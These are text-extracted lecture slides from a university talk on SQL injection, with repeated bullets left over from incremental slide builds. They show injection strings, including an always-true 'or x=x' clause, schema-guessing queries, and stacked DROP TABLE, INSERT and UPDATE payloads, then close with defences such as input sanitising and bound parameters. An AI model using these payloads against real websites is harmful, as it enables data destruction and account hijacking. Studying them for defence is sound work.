SQL Injection AttackModus operandi. . .

Sridhar.V.Iyer

siyer02@syr.edu

Department of Computer & Informations Sciences

Syracuse University, Syracuse, NY-13210

SQL Injection Attack – p. 1

SQLWhat is SQL?

SQL Injection Attack – p. 2

SQLWhat is SQL?

Where is it used?

SQL Injection Attack – p. 2

SQLWhat is SQL?

Where is it used?

Why do we use it?

SQL Injection Attack – p. 2

Web Technologies

Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.

SQL Injection Attack – p. 3

Web Technologies

Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.

Web Servers: Apache, LightTPD, Yaws, Tux,IIS

SQL Injection Attack – p. 3

Web Technologies

Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.

Web Servers: Apache, LightTPD, Yaws, Tux,IIS

Databases: MySQL, PostgreSQL, Firebird,MSSQL server

SQL Injection Attack – p. 3

Web Technologies

Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.

Web Servers: Apache, LightTPD, Yaws, Tux,IIS

Databases: MySQL, PostgreSQL, Firebird,MSSQL server

Scripting Languages: Php, CGI/Perl,SmallTalk, ASP.NET

SQL Injection Attack – p. 3

Web Technologies

Platform: Linux, OpenBSD, FreeBSD, Solarisand . . . Windows.

Web Servers: Apache, LightTPD, Yaws, Tux,IIS

Databases: MySQL, PostgreSQL, Firebird,MSSQL server

Scripting Languages: Php, CGI/Perl,SmallTalk, ASP.NET

Other Alternatives: J2EE/JSP etc.

SQL Injection Attack – p. 3

Modus Operandi...Steve Friedl’s way

Know your enemy

SQL Injection Attack – p. 4

Modus Operandi...Steve Friedl’s way

Know your enemy

Find his/her weakness

SQL Injection Attack – p. 4

Modus Operandi...Steve Friedl’s way

Know your enemy

Find his/her weakness

Attack his/her weakness

SQL Injection Attack – p. 4

Modus Operandi...Steve Friedl’s way

Know your enemy

Find his/her weakness

Attack his/her weakness

SQL Injection Attack – p. 4

Anatomy of theAttack

The constructed SQL should be like

SELECT list FROM table WHERE field=’$EMAIL’;

SQL Injection Attack – p. 5

Anatomy of theAttack

The constructed SQL should be like

SELECT list FROM table WHERE field=’$EMAIL’;

What if I give my own email and complete the

query for form?

SELECT list FROM table WHERE field=’neo@zion.com’’;

SQL Injection Attack – p. 5

Anatomy of theAttack

The constructed SQL should be like

SELECT list FROM table WHERE field=’$EMAIL’;

What if I give my own email and complete the

query for form?

SELECT list FROM table WHERE field=’neo@zion.com’’;

What is the output?

SQL Injection Attack – p. 5

Lets dig deeper. . .

Lets create a valid query

SELECT list FROM table WHERE field=’something’ or ’x’=’x’;

SQL Injection Attack – p. 6

Lets dig deeper. . .

Lets create a valid query

SELECT list FROM table WHERE field=’something’ or ’x’=’x’;

Result?Your login information has been mailed to

agent.smith@matrix.com

Dont recognize that email address

Server error!!

SQL Injection Attack – p. 6

Lets behaveourselves

Schema field mapping: Figure out the

tentative field list

SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;

SQL Injection Attack – p. 7

Lets behaveourselves

Schema field mapping: Figure out the

tentative field list

SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;

Find out as many fields as possible in a

similar fashion.

SQL Injection Attack – p. 7

Lets behaveourselves

Schema field mapping: Figure out the

tentative field list

SELECT list FROM table WHERE field=’x’ AND email IS NULL;–’;

Find out as many fields as possible in a

similar fashion.

Find out the table name. How?

SQL Injection Attack – p. 7

Lets behaveourselves

We can try the query SELECT COUNT(*) FROM tablename;

SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;

SQL Injection Attack – p. 8

Lets behaveourselves

We can try the query SELECT COUNT(*) FROM tablename;

SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;

Again educated guess is required. The sites

wont have cryptic table names.

SQL Injection Attack – p. 8

Lets behaveourselves

We can try the query SELECT COUNT(*) FROM tablename;

SELECT . . . email=’x’ AND 1=(SELECT COUNT(*) FROM tablename);–’;

Again educated guess is required. The sites

wont have cryptic table names.

Are we interested in this table?SELECT list FROM table WHERE field=’x’ AND members.email IS NULL;–’;

SQL Injection Attack – p. 8

If the databasewasn’t readonly??

Bazoooooka

SELECT . . . =’x’; DROP TABLE members;–’;

SQL Injection Attack – p. 9

If the databasewasn’t readonly??

Bazoooooka

SELECT . . . =’x’; DROP TABLE members;–’;

Add a new member

SELECT . . . =’x’; INSERT INTO members{. . . } VALUES {. . . };–’;

SQL Injection Attack – p. 9

If the databasewasn’t readonly??

Bazoooooka

SELECT . . . =’x’; DROP TABLE members;–’;

Add a new member

SELECT . . . =’x’; INSERT INTO members{. . . } VALUES {. . . };–’;

Mail me the passwordSELECT . . . =’x’; UPDATE members

SET email=neo@zion.com WHERE email=agent.smith@matrix.com’;

SQL Injection Attack – p. 9

Other MethodsUse xp_cmdshell: Something like Macro forMS Word

Map Database structure: Do more of the stuffwe already discussed for just one form

SQL Injection Attack – p. 10

Time for some actionhttp://128.230.212.170/apache2-default/login.php

SQL Injection Attack – p. 11

How not to do thewrong thing

Sanitize the Input

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

Use bounded parameters

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

Use bounded parameters

Limit Database Permission and segregateusers

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

Use bounded parameters

Limit Database Permission and segregateusers

Use Stored procedures for database access

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

Use bounded parameters

Limit Database Permission and segregateusers

Use Stored procedures for database access

Isolate the Webserver

SQL Injection Attack – p. 12

How not to do thewrong thing

Sanitize the Input

Quotesafe the Input

Use bounded parameters

Limit Database Permission and segregateusers

Use Stored procedures for database access

Isolate the Webserver

Configure Error Reporting

SQL Injection Attack – p. 12

DISCLAIMERAny actual or imagined resemblance to ourfar more civilized world today is unintentionaland purely coincidental

The purpose of this presentation is purelyeducational

SQL Injection Attack – p. 13

Referencehttp://www.unixwiz.net/techtips/sql-injection.html

Php Manual.

MySQL Manual.

Google. . . ofcourse.

This site has been created using prosperpackage on LATEX

SQL Injection Attack – p. 14

ThanksQuestions?

SQL Injection Attack – p. 15